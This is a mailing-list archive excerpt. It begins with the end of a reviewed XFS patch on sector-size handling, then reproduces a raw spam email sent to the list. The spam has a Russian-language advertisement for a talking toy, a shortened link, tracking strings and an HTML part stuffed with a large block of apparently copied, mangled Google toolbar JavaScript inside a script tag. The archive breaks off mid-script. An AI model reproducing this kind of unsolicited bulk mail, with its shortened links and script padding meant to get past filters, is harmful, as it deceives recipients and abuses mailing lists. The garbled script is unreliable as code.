xfs_buftarg, so that > we now track 2 sizes: > > 1) The metadata sector size, which is the minimum unit and > alignment of IO which will be performed by metadata operations. > 2) The device logical sector size > > The first is used internally by the file system for metadata > alignment and IOs. > The second is used for the minimum allowed direct IO alignment. > > This has passed xfstests on filesystems made with 4k sectors, > including when run under the patch I sent to ignore > XFS_IOC_DIOINFO, and issue 512 DIOs anyway. I also directly > tested end of block behavior on preallocated, sparse, and > existing files when we do a 512 IO into a 4k file on a > 4k-sector filesystem, to be sure there were no unexpected > behaviors. > > Signed-off-by: Eric Sandeen <sandeen@redhat.com> Looks good. Nice work with the comments. Reviewed-by: Dave Chinner <dchinner@redhat.com> -- Dave Chinner david@fromorbit.com From contact@lesvictoires.net Wed Jan 22 17:25:11 2014 Return-Path: <contact@lesvictoires.net> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.0 required=5.0 tests=HTML_MESSAGE,TRACKER_ID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 9587F29DF8 for <xfs@oss.sgi.com>; Wed, 22 Jan 2014 17:25:11 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 84E99304051 for <xfs@oss.sgi.com>; Wed, 22 Jan 2014 15:25:11 -0800 (PST) X-ASG-Debug-ID: 1390433106-04cbb05bab97d50001-NocioJ Received: from lesvictoires.net (winmail1.internet-fr.net [212.37.208.30]) by cuda.sgi.com with ESMTP id FnfhKlCA21pdQbDC for <xfs@oss.sgi.com>; Wed, 22 Jan 2014 15:25:07 -0800 (PST) X-Barracuda-Envelope-From: contact@lesvictoires.net X-Barracuda-Apparent-Source-IP: 212.37.208.30 Received: from localhost [37.195.22.21] by lesvictoires.net with ESMTP (SMTPD32-7.15) id A3322EB0020; Thu, 23 Jan 2014 00:24:34 +0100 Message-ID: <7643A0C247AF4FE1AA6AD8CFE3EE8DE0@localhost> Reply-To: "Edward" <Leardi@kruhlmann.org> From: "Edward" <contact@lesvictoires.net> Subject: =?windows-1251?B?1+Xy6u4g6CDu8vfl8uvo4u4g7+7i8u7w/+Xy?= =?windows-1251?B?IPHr7uLgIO/u8uX47fvsIOPu6+7x6u7s?= Date: Thu, 23 Jan 2014 06:25:11 +0600 X-ASG-Orig-Subj: =?windows-1251?B?1+Xy6u4g6CDu8vfl8uvo4u4g7+7i8u7w/+Xy?= =?windows-1251?B?IPHr7uLgIO/u8uX47fvsIOPu6+7x6u7s?= MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_1EF2_01CF1803.DE654120" X-Priority: 3 List-Unsubscribe: <mailto:info@mailerx.ru?subject=unsubscribe> Precedence: bulk X-Barracuda-Connect: winmail1.internet-fr.net[212.37.208.30] X-Barracuda-Start-Time: 1390433106 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.21 X-Barracuda-Spam-Status: No, SCORE=1.21 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE, MISSING_HEADERS, TO_CC_NONE, TRACKER_ID X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144375 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 1.21 MISSING_HEADERS Missing To: header 0.00 TRACKER_ID BODY: Incorporates a tracking ID number 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 TO_CC_NONE No To: or Cc: header To: undisclosed-recipients:; This is a multi-part message in MIME format. ------=_NextPart_000_1EF2_01CF1803.DE654120 Content-Type: text/plain; charset="windows-1251" Content-Transfer-Encoding: quoted-printable Hat7pp6H0KImMnC1ljFf =D0=E5=E1=E5=ED=EE=EA =E1=F3=E4=E5=F2 =F1=E8=EB=E8=F2=FC=F1=FF =E3=EE=E2=EE= =F0=E8=F2=FC =F2=EE=F7=ED=EE, =EF=EE=E2=F2=EE=F0=FF=F2=FC =F1=F2=E8=F5=E8= =E8 =EF=E5=F1=E5=ED=EA=E8, =F7=F2=EE=E1=FB =F3=F1=EB=FB=F5=E0=F2=FC =E8=F5= =EF=EE=F1=EB=E5 =ED=E5=EF=EE=E4=F0=E0=E6=E0=E5=EC=EE=EC =E8=F1=EF=EE=EB=ED= =E5=ED=E8=E8 =E3=F0=FB=E7=F3=ED=E0. =E0 =E5=F9=E5 Woody O'Time =EF=F0=E5=EA=F0=E0=F1=ED=EE =F0=E0=F1=F8=E8=F0= =FF=E5=F2 =EA=EE=EC=EC=F3=ED=E8=EA=E0=F2=E8=E2=ED=FB=E5 =ED=E0=E2=FB=EA=E8= =E8 =F0=E5=F7=FC. =DD=F2=E0 =E1=E5=E7=E4=E5=EB=F3=F8=EA=E0 =EE=EA=E0=E6=E5=F2=F1=FF =ED=E0=E8= =EB=F3=F7=F8=E8=EC =E4=F0=F3=E3=EE=EC =E4=EB=FF =EC=E0=EB=FB=F8=E5=E9 =F1= =F2=E0=F0=F8=E5 =F2=F0=E5=F5 =EB=E5=F2. =F5=EE=F0=EE=F8=E8=E9 =F5=EE=EC=FF=F7=EE=EA Woody O'Time =EF=EE=E2=F2=EE=F0= =FF=E5=F2 =ED=E5 =E2=F1=E5=E3=EE =EB=E8=F8=FC =E2=FB=F0=E0=E6=E5=ED=FC=FF= , =ED=EE =E4=E0=E6=E5 =EF=EE=E2=F2=EE=F0=E8=F2 =E8=ED=F2=EE=ED=E0=F6=E8=FE= ! =CE=ED =EC=EE=E6=E5=F2 =F0=E0=E7=E2=EB=E5=F7=FC, =EE=F2=E2=EB=E5=F7=FC =E8= =F3=F1=EF=EE=EA=EE=E8=F2=FC =EC=E0=EB=EE=E3=EE =F0=E5=E1=E5=ED=EA=E0, =ED= =E0=E4=EE=EB=E3=EE =EE=E2=EB=E0=E4=E5=E2=E0=E5=F2 =EB=FE=E1=EE=EF=FB=F2=F1= =F2=E2=EE=EC =F0=E5=E1=FF=F2=E8=F8=E5=EA =EF=EE=F1=F2=E0=F0=F8=E5, =E0 =E7= =F0=E5=EB=FB=F5 =E2=FB=ED=F3=E6=E4=E0=E5=F2 =EF=EE=E7=E0=E1=FB=F2=FC =EE = =EF=F0=EE=E1=EB=E5=EC=E0=F5 =E8 =E2=EE=E7=E2=F0=E0=F9=E0=E5=F2 =EB=E5=E3=EA= =EE=EC=FB=F1=EB=E5=ED=ED=EE=E5 =F1=F7=E0=F1=F2=EB=E8=E2=EE=E5 =EC=EB=E0=E4= =E5=ED=F7=E5=F1=F2=E2=EE. =CE=ED =E3=EE=E2=EE=F0=E8=F2 =EA=EE=EC=E8=F7=E5=F1=EA=E8=EC =AB=EC=F3=EB=FC= =F2=FF=F8=ED=FB=EC=BB =E3=EE=EB=EE=F1=E8=F8=EA=EE=E9, =EE=F2=EA=F0=FB=E2=E0= =FF =F0=EE=F2 =F1=EE=EE=F2=E2=E5=F2=F1=F2=E2=E5=ED=ED=EE =E7=E2=F3=EA=E0=EC= . =F2=E5=F7=E5=ED=E8=E5 6 =F1=E5=EA=F3=ED=E4 =F5=EE=EC=FF=EA =E1=F3=E4=E5=F2= =F4=E8=EA=F1=E8=F0=EE=E2=E0=F2=FC =E2=E0=F8=F3 =F0=E5=F7=FC, =E0 =EF=EE=F1= =EB=E5 =E0=E2=F2=EE=EC=E0=F2=E8=F7=E5=F1=EA=E8 =E5=E5 =E8=F1=EF=EE=EB=ED=E8= =F2. http://goo.gl/lsJiRW=20 7Ut8gzrC9Ba0U7pb2ZaBxmeKP6Y1A4hxN ------=_NextPart_000_1EF2_01CF1803.DE654120 Content-Type: text/html; charset="windows-1251" Content-Transfer-Encoding: quoted-printable <html><head><meta charset=3Dwindows-1251></head><body style=3D"font-famil= y:Georgia;color:#CC0000;"><script> x3dgbq1 class\x3d"gbt"\x3e\x3ca class\x3dgbqla href\x3d"#inbox" onclick\x= 3d"gbar.logger.il(39)" title\x3d"\u041f\u043e\u0447\u0442\u0430"\x3e\x3ct= able id\x3dgbqlt\x3e\x3ctr\x3e\x3ctd id\x3dgbqlw class\x3dgbgt\x3e\x3ca c= lass\x3dgbqla2 href\x3d"#inbox" title\x3d"\u041f\u043e\u0447\u0442\u0430"= \x3e\x3cimg id\x3dgbqld class\x3dgbqldr src\x3d//ssl.gstatic.zero/ui/v1/i= cons/mail/logo_default.png alt\x3d"\u041f\u043e\u0447\u0442\u0430" /\x3e\= x3c/a\x3e\x3c/td\x3e\x3c/tr\x3e\x3c/table\x3e\x3cdiv class\x3dgbqlca\x3e\= x3c/div\x3e\x3c/a\x3e\x3c/div\x3e\x3cdiv id\x3dgbq2 class\x3dgbt\x3e\x3cd= iv id\x3dgbqfw \x3e\x3cform id\x3dgbqf name\x3dgbqf method\x3dget action\= x3d"" onsubmit\x3d"gbar.logger.il(31);"\x3e\x3cfieldset class\x3dgbxx\x3e= \x3clegend class\x3dgbxx\x3e\u0421\u043a\u0440\u044b\u0442\u044b\u0435 \u= 043f\u043e\u043b\u044f\x3c/legend\x3e\x3cdiv id\x3dgbqffd\x3e\x3c/div\x3e= \x3c/fieldset\x3e\x3cfieldset class\x3dgbqff id\x3dgbqff\x3e\x3clegend cl= ass\x3dgbxx\x3e\x3c/legend\x3e\x3cdiv id\x3dgbfwa class\x3d"gbqfwa "\x3e\= x3cdiv id\x3dgbqfqw class\x3dgbqfqw\x3e\x3cdiv id\x3dgbqfaa\x3e\x3c/div\x= 3e\x3cdiv id\x3dgbqfqwb class\x3dgbqfqwb\x3e\x3cinput id\x3dgbqfq class\x= 3dgbqfif name\x3dq type\x3dtext autocomplete\x3doff value\x3d"" \x3e\x3c/= div\x3e\x3cdiv id\x3dgbqfab\x3e\x3c/div\x3e\x3c/div\x3e\x3c/div\x3e\x3c/f= ieldset\x3e\x3cdiv id\x3dgbqfbw\x3e\x3cbutton id\x3dgbqfb aria-label\x3d"= \u041f\u043e\u0438\u0441\u043a \u0432 " class\x3dgbqfb\x3e\x3cspan class\= x3dgbqfi\x3e\x3c/span\x3e\x3c/button\x3e\x3c/div\x3e\x3c/form\x3e\x3c/div= \x3e\x3c/div\x3e\x3c/div\x3e\x3cdiv id\x3dgbu\x3e\x3cdiv id\x3dgbvg class= \x3dgbvg\x3e\x3ch2 class\x3dgbxx\x3eAccount Options\x3c/h2\x3e\x3cspan cl= ass\x3dgbtcb\x3e\x3c/span\x3e\x3col class\x3dgbtc\x3e\x3cli class\x3dgbt\= x3e\x3c/li\x3e\x3cli class\x3dgbt guidedhelpid\x3dgbacsw\x3e\x3ca class\x= 3d"gbgt " id\x3dgbg4 href\x3d"https://plus./u/0/me?tab\x3dmX" onclick\x3d= "gbar.tg(event,this)" aria-haspopup\x3dtrue aria-owns\x3dgbd4\x3e\x3cspan= id\x3dgbgs4d\x3e\x3cspan id\x3dgbgs4dn\x3e\x3c/span\x3e\x3cspan class\x3= dgbmai\x3e\x3c/span\x3e\x3cspan class\x3dgbmab\x3e\x3c/span\x3e\x3cspan c= lass\x3dgbmac\x3e\x3c/span\x3e\x3c/span\x3e\x3c/a\x3e\x3cdiv class\x3dgbm= id\x3dgbd4 aria-owner\x3dgbg4\x3e\x3cdiv class\x3dgbmc\x3e\x3cdiv id\x3d= gbmpdv\x3e\x3cdiv class\x3dgbpc\x3e\x3cspan class\x3d"gbps gbpd" id\x3dgb= mpn\x3e\x3c/span\x3e\x3c/div\x3e\x3c/div\x3e\x3cdiv id\x3dgbmps\x3e\x3cdi= v id\x3dgbmpasb class\x3d\'gbsb gbsbis\'\x3e\x3cdiv id\x3dgbmpas class\x3= dgbsbic\x3e\x3cdiv id\x3dgbmpm_0 class\x3d"gbmtc gbp0"\x3e\x3ca rel\x3dno= referrer target\x3d_blank id\x3dgbmpm_0_l href\x3d"/mail/u/0/" class\x3dg= bmt\x3e\x3cspan class\x3d"gbmpiaw gbxv"\x3e\x3cimg class\x3dgbmpia width\= x3d48 height\x3d48 onerror\x3d"window.gbar\x26\x26gbar.pae?gbar.pae(this)= :this.loadError\x3d1;" data-asrc\x3d"//lh6.usercontent.zero/-M7m5KjEjAj4/= AAAAAAAAAAI/AAAAAAAAAAA/8PwWyiOxwGI/s48-c/photo.jpg" alt\x3d"\u0421\u0435= \u0440\u0433\u0435\u0439 \u0418\u0432\u0430\u043d\u043e\u0432"\x3e\x3c/sp= an\x3e\x3cspan class\x3dgbmpnw\x3e\x3cspan class\x3dgbps\x3e\u0421\u0435\= u0440\u0433\u0435\u0439 \u0418\u0432\u0430\u043d\u043e\u0432\x3c/span\x3e= \x3cspan class\x3dgbps2\x3e\x3c/span\x3e\x3c/span\x3e\x3c/a\x3e\x3c/div\x= 3e\x3c/div\x3e\x3cdiv class\x3dgbsbt\x3e\x3c/div\x3e\x3cdiv class\x3dgbsb= b\x3e\x3c/div\x3e\x3c/div\x3e\x3cdiv id\x3dgbmppc class\x3d"gbxx gbmtc"\x= 3e\x3ca class\x3dgbmt href\x3d"https://plus./u/0/pages/manage"\x3e\x3cspa= n class\x3dgbmppci\x3e\x3c/span\x3e\u0412\u0441\u0435 \u0432\u0430\u0448\= u0438 +\u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b \x26rsaquo;\x3c/a= \x3e\x3c/div\x3e\x3c/div\x3e\x3ctable id\x3dgbmpal\x3e\x3ctr\x3e\x3ctd cl= ass\x3dgbmpala\x3e\x3ca target\x3d_blank role\x3dbutton href\x3d"https://= accounts./AddSession?hl\x3dru\x26continue\x3dhttps://mail./mail/b/77/u/0/= \x26service\x3dmail" class\x3dgbqfbb\x3e\u0414\u043e\u0431\u0430\u0432\u0= 438\u0442\u044c \u0430\u043a\u043a\u0430\u0443\u043d\u0442\x3c/a\x3e\x3c/= td\x3e\x3ctd class\x3dgbmpalb\x3e\x3ca target\x3d_top role\x3dbutton id\x= 3dgb_71 onclick\x3d"gbar.logger.il(9,{l:\'o\'})" href\x3d"?logout\x26hl\x= 3dru\x26hlor" class\x3dgbqfbb\x3e\u0412\u044b\u0439\u0442\u0438\x3c/a\x3e= \x3c/td\x3e\x3c/tr\x3e\x3c/table\x3e\x3c/div\x3e\x3c/div\x3e\x3c/li\x3e\x= 3cnoscript\x3e\x3cli class\x3dgbt\x3e\x3ca id\x3dgbg7 href\x3d"?logout\x2= 6hl\x3dru\x26hlor" class\x3dgbgt\x3e\x3cspan class\x3dgbgs\x3e\x3cspan cl= ass\x3dgbit\x3e\u0412\u044b\u0439\u0442\u0438\x3c/span\x3e\x3c/span\x3e\x= 3c/a\x3e\x3c/li\x3e\x3c/noscript\x3e\x3c/ol\x3e\x3cdiv id\x3dgbdw\x3e\x3c= /div\x3e\x3c/div\x3e\x3c/div\x3e\x3c/div\x3e\x3cdiv id\x3dgbx1 \x3e\x3c/d= iv\x3e\x3cscript\x3ewindow.gbar\x26\x26gbar.elp\x26\x26gbar.elp()\x3c/scr= ipt\x3e\x3c/div\x3e', '(function(){try{var e\x3d!0,h\x3dnull,j\x3d!1;var aa\x3dfunction(a,b,c,d= ){d\x3dd||{};d._sn\x3d["cfg",b,c].join(".");window.gbar.logger.ml(a,d)};v= ar m\x3dwindow.gbar\x3dwindow.gbar||{},p\x3dwindow.gbar.i\x3dwindow.gbar.= i||{},ba;function _tvn(a,b){var c\x3dparseInt(a,10);return isNaN(c)?b:c}f= unction _tvf(a,b){var c\x3dparseFloat(a);return isNaN(c)?b:c}function _tv= v(a){return!!a}function r(a,b,c){(c||m)[a]\x3db}m.bv\x3d{n:_tvn("2",0),r:= "r_gc.r_pw.r_qf.",f:".36.40.40.49.",m:_tvn("2",1)};\nfunction ca(a,b,c){v= ar d\x3d"on"+b;if(a.addEventListener)a.addEventListener(b,c,j);else if(a.= attachEvent)a.attachEvent(d,c);else{var g\x3da[d];a[d]\x3dfunction(){var = a\x3dg.apply(this,arguments),b\x3dc.apply(this,arguments);return void 0\x= 3d\x3da?b:void 0\x3d\x3db?a:b\x26\x26a}}}var da\x3dfunction(a){return fun= ction(){return m.bv.m\x3d\x3da}},ea\x3dda(1),fa\x3dda(2);r("sb",ea);r("kn= ",fa);p.a\x3d_tvv;p.b\x3d_tvf;p.c\x3d_tvn;p.i\x3daa;var s\x3dwindow.gbar.= i.i;var t\x3dfunction(){},u\x3dfunction(){},v\x3dfunction(a){var b\x3dnew= Image,c\x3dga;b.onerror\x3db.onload\x3db.onabort\x3dfunction(){try{delet= e ha[c]}catch(a){}};ha[c]\x3db;b.src\x3da;ga\x3dc+1},ha\x3d[],ga\x3d0;r("= logger",{il:u,ml:t,log:v});var w\x3dwindow.gbar.logger;var x\x3d{},ia\x3d= {},y\x3d[],ja\x3dp.b("0.1",0.1),ka\x3dp.a("1",e),la\x3dfunction(a,b){y.pu= sh([a,b])},ma\x3dfunction(a,b){x[a]\x3db},na\x3dfunction(a){return a in x= },A\x3d{},B\x3dfunction(a,b){A[a]||(A[a]\x3d[]);A[a].push(b)},C\x3dfuncti= on(a){B("m",a)},oa\x3dfunction(a,b){var c\x3ddocument.createElement("scri= pt");c.src\x3da;ka\x26\x26(c.async\x3de);Math.random()\x3cja\x26\x26(c.on= error\x3dfunction(){c.onerror\x3dh;t(Error("Bundle load failed: name\x3d"= +(b||"UNK")+" url\x3d"+a))});(document.getElementById("xjsc")||document.b= ody).appendChild(c)},\nF\x3dfunction(a){for(var b\x3d0,c;(c\x3dy[b])\x26\= x26!(c[0]\x3d\x3da);++b);c\x26\x26!c[1].l\x26\x26!c[1].s\x26\x26(c[1].s\x= 3de,D(2,a),c[1].url\x26\x26oa(c[1].url,a),c[1].libs\x26\x26E\x26\x26E(c[1= ].libs))},pa\x3dfunction(a){B("gc",a)},G\x3dh,qa\x3dfunction(a){G\x3da},D= \x3dfunction(a,b,c){if(G){a\x3d{t:a,b:b};if(c)for(var d in c)a[d]\x3dc[d]= ;try{G(a)}catch(g){}}};r("mdc",x);r("mdi",ia);r("bnc",y);r("qGC",pa);r("q= m",C);r("qd",A);r("lb",F);r("mcf",ma);r("bcf",la);r("aq",B);r("mdd","");r= ("has",na);r("trh",qa);r("tev",D);if(p.a("1")){var H\x3dp.a("1"),ra\x3dp.= a("1"),sa\x3dp.a("1"),ta\x3dwindow.gapi\x3d{},ua\x3dfunction(a,b){var c\x= 3dfunction(){m.dgl(a,b)};H?C(c):(B("gl",c),F("gl"))},va\x3d{},wa\x3dfunct= ion(a){for(var a\x3da.split(":"),b;(b\x3da.pop())\x26\x26va[b];);return!b= },E\x3dfunction(a){function b(){for(var b\x3da.split(":"),d\x3d0,g;g\x3db= [d];++d)va[g]\x3d1;for(b\x3d0;d\x3dy[b];++b)d\x3dd[1],(g\x3dd.libs)\x26\x= 26!d.l\x26\x26d.i\x26\x26wa(g)\x26\x26d.i()}m.dgl(a,b)},I\x3dwindow.___js= l\x3d{};I.h\x3d"m;/_/abc-static/_/js/gapi/__features__/rt\x3dj/ver\x3ds2P= CW8HaZ18.en./sv\x3d1/am\x3d!DKHuO_b7J0GpWxoUgw/d\x3d1";I.ms\x3d"https://a= pis.";\nI.m\x3d"";I.l\x3d[];H||y.push(["gl",{url:"//ssl.gstatic.zero/gb/j= s/abc/glm_e7bb39a7e1a24581ff4f8d199678b1b9.js"}]);var xa\x3d{pu:ra,sh:"",= si:sa};x.gl\x3dxa;r("load",ua,ta);r("dgl",ua);r("agl",wa);p.o\x3dH};var y= a\x3dp.b("0.1",0.001),za\x3d0;\nfunction _mlToken(a,b){try{if(1\x3eza){za= ++;var c,d\x3da,g\x3db||{},f\x3dencodeURIComponent,l\x3d"es_plusone_gc_20= 121207.0_p1",k\x3d["//www./gen_204?atyp\x3di\x26zx\x3d",(new Date).getTim= e(),"\x26jexpid\x3d",f("37102"),"\x26srcpg\x3d",f("prop\x3d23"),"\x26jsr\= x3d",Math.round(1/ya),"\x26ogev\x3d",f("0"),"\x26ogf\x3d",m.bv.f,"\x26ogr= p\x3d",f(""),"\x26ogv\x3d",f("1355368931.1355175420"),l?"\x26oggv\x3d"+f(= l):"","\x26ogd\x3d",f("com"),"\x26ogl\x3d",f("ru")];g._sn\x26\x26(g._sn\x= 3d"og."+\ng._sn);for(var n in g)k.push("\x26"),k.push(f(n)),k.push("\x3d"= ),k.push(f(g[n]));k.push("\x26emsg\x3d");k.push(f(d.name+":"+d.message));= var q\x3dk.join("");Aa(q)\x26\x26(q\x3dq.substr(0,2E3));c\x3dq;var z\x3dw= indow.gbar.logger._aem(a,c);v(z)}}catch(X){}}var Aa\x3dfunction(a){return= 2E3\x3c\x3da.length},Ca\x3dfunction(a,b){return b};function Fa(a){t\x3da= ;r("_itl",Aa,w);r("_aem",Ca,w);r("ml",t,w);a\x3d{};x.er\x3da}p.a("")?Fa(f= unction(a){throw a;}):p.a("1")\x26\x26Math.random()\x3cya\x26\x26Fa(_mlTo= ken);var _E\x3d"left",K\x3dfunction(a,b){var c\x3da.className;J(a,b)||(a.= className+\x3d(""!\x3dc?" ":"")+b)},L\x3dfunction(a,b){var c\x3da.classNa= me,d\x3dRegExp("\\\\s?\\\\b"+b+"\\\\b");c\x26\x26c.match(d)\x26\x26(a.cla= ssName\x3dc.replace(d,""))},J\x3dfunction(a,b){var c\x3dRegExp("\\\\b"+b+= "\\\\b"),d\x3da.className;return!(!d||!d.match(c))},Ga\x3dfunction(a,b){J= (a,b)?L(a,b):K(a,b)};r("ca",K);r("cr",L);r("cc",J);p.k\x3dK;p.l\x3dL;p.m\= x3dJ;p.n\x3dGa;var Ha\x3d["gb_71","gb_155"],M;function Ia(a){M\x3da}funct= ion Ja(a){var b\x3dM\x26\x26!a.href.match(/.*\\/accounts\\/ClearSID[?]/)\= x26\x26encodeURIComponent(M());b\x26\x26(a.href\x3da.href.replace(/([?\x2= 6]continue\x3d)[^\x26]*/,"$1"+b))}function Ka(a){window.gApplication\x26\= x26(a.href\x3dwindow.gApplication.getTabUrl(a.href))}function La(a){try{v= ar b\x3d(document.forms[0].q||"").value;b\x26\x26(a.href\x3da.href.replac= e(/([?\x26])q\x3d[^\x26]*|$/,function(a,c){return(c||"\x26")+"q\x3d"+enco= deURIComponent(b)}))}catch(c){s(c,"sb","pq")}}\nvar Ma\x3dfunction(){for(= var a\x3d[],b\x3d0,c;c\x3dHa[b];++b)(c\x3ddocument.getElementById(c))\x26= \x26a.push(c);return a},Na\x3dfunction(){var a\x3dMa();return 0\x3ca.leng= th?a[0]:h},Oa\x3dfunction(){return document.getElementById("gb_70")},N\x3= d{},O\x3d{},Pa\x3d{},P\x3d{},Q\x3dvoid 0,Ua\x3dfunction(a,b){try{var c\x3= ddocument.getElementById("gb");K(c,"gbpdjs");R();Qa(document.getElementBy= Id("gb"))\x26\x26K(c,"gbrtl");if(b\x26\x26b.getAttribute){var d\x3db.getA= ttribute("aria-owns");if(d.length){var g\x3ddocument.getElementById(d);if= (g){var f\x3db.parentNode;if(Q\x3d\x3dd)Q\x3dvoid 0,\nL(f,"gbto");else{if= (Q){var l\x3ddocument.getElementById(Q);if(l\x26\x26l.getAttribute){var k= \x3dl.getAttribute("aria-owner");if(k.length){var n\x3ddocument.getElemen= tById(k);n\x26\x26n.parentNode\x26\x26L(n.parentNode,"gbto")}}}Ra(g)\x26\= x26Sa(g);Q\x3dd;K(f,"gbto")}}}}C(function(){m.tg(a,b,e)});Ta(a)}catch(q){= s(q,"sb","tg")}},Va\x3dfunction(a){C(function(){m.close(a)})},Wa\x3dfunct= ion(a){C(function(){m.rdd(a)})},Qa\x3dfunction(a){var b,c\x3d"direction",= d\x3ddocument.defaultView;d\x26\x26d.getComputedStyle?(a\x3dd.getComputed= Style(a,""))\x26\x26(b\x3da[c]):b\x3da.currentStyle?\na.currentStyle[c]:a= .style[c];return"rtl"\x3d\x3db},Ya\x3dfunction(a,b,c){if(a)try{var d\x3dd= ocument.getElementById("gbd5");if(d){var g\x3dd.firstChild,f\x3dg.firstCh= ild,l\x3ddocument.createElement("li");l.className\x3db+" gbmtc";l.id\x3dc= ;a.className\x3d"gbmt";l.appendChild(a);if(f.hasChildNodes()){for(var c\x= 3d[["gbkc"],["gbf","gbe","gbn"],["gbkp"],["gbnd"]],d\x3d0,k\x3df.childNod= es.length,g\x3dj,n\x3d-1,q\x3d0,z;z\x3dc[q];q++){for(var X\x3d0,Z;Z\x3dz[= X];X++){for(;d\x3ck\x26\x26J(f.childNodes[d],Z);)d++;if(Z\x3d\x3db){f.ins= ertBefore(l,f.childNodes[d]||h);g\x3de;break}}if(g){if(d+\n1\x3cf.childNo= des.length){var Ba\x3df.childNodes[d+1];!J(Ba.firstChild,"gbmh")\x26\x26!= Xa(Ba,z)\x26\x26(n\x3dd+1)}else if(0\x3c\x3dd-1){var Da\x3df.childNodes[d= -1];!J(Da.firstChild,"gbmh")\x26\x26!Xa(Da,z)\x26\x26(n\x3dd)}break}0\x3c= d\x26\x26d+1\x3ck\x26\x26d++}if(0\x3c\x3dn){var $\x3ddocument.createEleme= nt("li"),Ea\x3ddocument.createElement("div");$.className\x3d"gbmtc";Ea.cl= assName\x3d"gbmt gbmh";$.appendChild(Ea);f.insertBefore($,f.childNodes[n]= )}m.addHover\x26\x26m.addHover(a)}else f.appendChild(l)}}catch(ub){s(ub,"= sb","al")}},Xa\x3dfunction(a,b){for(var c\x3db.length,d\x3d0;d\x3cc;d++)i= f(J(a,\nb[d]))return e;return j},Za\x3dfunction(a,b,c){Ya(a,b,c)},$a\x3df= unction(a,b){Ya(a,"gbe",b)},ab\x3dfunction(){C(function(){m.pcm\x26\x26m.= pcm()})},bb\x3dfunction(){C(function(){m.pca\x26\x26m.pca()})},cb\x3dfunc= tion(a,b,c,d,g,f,l,k,n,q){C(function(){m.paa\x26\x26m.paa(a,b,c,d,g,f,l,k= ,n,q)})},db\x3dfunction(a,b){N[a]||(N[a]\x3d[]);N[a].push(b)},eb\x3dfunct= ion(a,b){O[a]||(O[a]\x3d[]);O[a].push(b)},fb\x3dfunction(a,b){Pa[a]\x3db}= ,gb\x3dfunction(a,b){P[a]||(P[a]\x3d[]);P[a].push(b)},Ta\x3dfunction(a){a= .preventDefault\x26\x26a.preventDefault();a.returnValue\x3dj;a.cancelBubb= le\x3d\ne},hb\x3dh,Sa\x3dfunction(a,b){R();if(a){ib(a,"\u041e\u0442\u043a= \u0440\u044b\u0432\u0430\u0435\u0442\u0441\u044f\x26hellip;");S(a,e);var = c\x3d"undefined"!\x3dtypeof b?b:1E4,d\x3dfunction(){jb(a)};hb\x3dwindow.s= etTimeout(d,c)}},kb\x3dfunction(a){R();a\x26\x26(S(a,j),ib(a,""))},jb\x3d= function(a){try{R();var b\x3da||document.getElementById(Q);b\x26\x26(ib(b= ,"\u0421\u043b\u0443\u0436\u0431\u0430 \u0432\u0440\u0435\u043c\u0435\u04= 3d\u043d\u043e \u043d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u04= 30.%1$s\u041f\u043e\u0432\u0442\u043e\u0440\u0438\u0442\u0435 \u043f\u043= e\u043f\u044b\u0442\u043a\u0443 \u043f\u043e\u0437\u0436\u0435.","%1$s"),= S(b,e))}catch(c){s(c,"sb","sdhe")}},ib\x3dfunction(a,b,c){if(a\x26\x26b){= var d\x3dRa(a);if(d){if(c){d.innerHTML\x3d"";for(var b\x3db.split(c),c\x3= d0,g;g\x3db[c];c++){var f\x3ddocument.createElement("div");f.innerHTML\x3= dg;\nd.appendChild(f)}}else d.innerHTML\x3db;S(a,e)}}},S\x3dfunction(a,b)= {var c\x3dvoid 0!\x3d\x3db?b:e;c?K(a,"gbmsgo"):L(a,"gbmsgo")},Ra\x3dfunct= ion(a){for(var b\x3d0,c;c\x3da.childNodes[b];b++)if(J(c,"gbmsg"))return c= },R\x3dfunction(){hb\x26\x26window.clearTimeout(hb)},lb\x3dfunction(a){va= r b\x3d"inner"+a,a\x3d"offset"+a;return window[b]?window[b]:document.docu= mentElement\x26\x26document.documentElement[a]?document.documentElement[a= ]:0},mb\x3dfunction(){return j};r("so",Na);r("sos",Ma);r("si",Oa);r("tg",= Ua);r("close",Va);r("rdd",Wa);r("addLink",Za);\nr("addExtraLink",$a);r("p= cm",ab);r("pca",bb);r("paa",cb);r("ddld",Sa);r("ddrd",kb);r("dderr",jb);r= ("rtl",Qa);r("bh",N);r("abh",db);r("dh",O);r("adh",eb);r("ch",P);r("ach",= gb);r("eh",Pa);r("aeh",fb);ba\x3dp.a("")?Ka:La;r("qs",ba);r("setContinueC= b",Ia);r("pc",Ja);r("bsy",mb);p.d\x3dTa;p.j\x3dlb;var nb\x3d{};x.base\x3d= nb;y.push(["m",{url:"//ssl.gstatic.zero/gb/js/sem_ed35661c44475f40fb4757a= 96e001aae.js"}]);m.sg\x3d{c:""};r("wg",{rg:{}});var ob\x3d{tiw:p.c("15000= ",0),tie:p.c("30000",0)};x.wg\x3dob;var pb\x3d{thi:p.c("10000",0),thp:p.c= ("180000",0),tho:p.c("5000",0),tet:p.b("0.5",0)};x.wm\x3dpb;if(p.a("1")){= var qb\x3dp.a("");y.push(["gc",{auto:qb,url:"//ssl.gstatic.zero/gb/js/abc= /gci_91f30755d6a6b787dcc2a4062e6e9824.js",libs:"apis.client:plusone"}]);v= ar rb\x3d{version:"gci_91f30755d6a6b787dcc2a4062e6e9824.js",index:"0",lan= g:"ru"};x.gc\x3drb;var sb\x3dfunction(a){window.apis\x26\x26window.iframe= s?a\x26\x26a():(a\x26\x26pa(a),F("gc"))};r("lGC",sb);p.a("1")\x26\x26r("l= 